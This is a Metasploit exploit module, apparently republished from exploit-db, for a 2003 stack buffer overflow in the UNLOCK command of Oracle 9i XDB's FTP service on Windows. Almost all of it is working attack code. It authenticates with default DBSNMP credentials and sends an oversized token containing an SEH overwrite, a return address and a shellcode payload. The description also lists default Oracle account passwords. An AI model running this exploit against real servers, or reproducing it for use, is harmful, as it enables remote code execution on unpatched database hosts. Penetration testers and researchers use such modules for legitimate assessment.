Oracle 9i XDB (Windows x86) – FTP UNLOCK Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-10-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16714/
  • ##
    # $Id: oracle9i_xdb_ftp_unlock.rb 10559 2010-10-05 23:41:17Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Ftp
    	include Msf::Exploit::Remote::Seh
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Oracle 9i XDB FTP UNLOCK Overflow (win32)',
    			'Description'=> %q{
    					By passing an overly long token to the UNLOCK command, a
    				stack based buffer overflow occurs. David Litchfield, has
    				illustrated multiple vulnerabilities in the Oracle 9i XML
    				Database (XDB), during a seminar on "Variations in exploit
    				methods between Linux and Windows" presented at the Blackhat
    				conference. Oracle9i includes a number of default accounts,
    				including dbsnmp:dbsmp, scott:tiger, system:manager, and
    				sys:change_on_install.
    			},
    			'Author' => [ 'MC', 'David Litchfield <david@ngssoftware.com>' ],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 10559 $',
    			'Platform' => [ 'win' ],
    			'References' =>
    				[
    					[ 'CVE', '2003-0727'],
    					[ 'OSVDB', '2449'],
    					[ 'BID', '8375'],
    					[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'thread',
    				},
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 800,
    					'BadChars' => "\x00\x20\x0a\x0d",
    					'StackAdjustment' => -3500,
    				},
    			'Targets'=>
    				[
    					[
    						'Oracle 9.2.0.1 Universal',
    						{
    							'Ret'=> 0x60616d46, # oraclient9.dll (pop/pop/ret)
    						},
    					],
    				],
    			'DisclosureDate' => 'Aug 18 2003',
    			'DefaultTarget' => 0))
    
    		register_options([
    			Opt::RPORT(2100),
    			OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'DBSNMP']),
    			OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'DBSNMP']),
    		], self.class )
    	end
    
    	def check
    		connect
    		disconnect
    		if (banner =~ /9\.2\.0\.1\.0/)
    			return Exploit::CheckCode::Vulnerable
    		end
    		return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		connect_login
    
    		print_status("Trying target #{target.name}...")
    
    		buf = rand_text_english(1130, payload_badchars)
    		seh = generate_seh_payload(target.ret)
    		buf[322, seh.length] = seh
    
    		send_cmd( ['UNLOCK', '/', buf] , false )
    
    		handler
    		disconnect
    	end
    
    end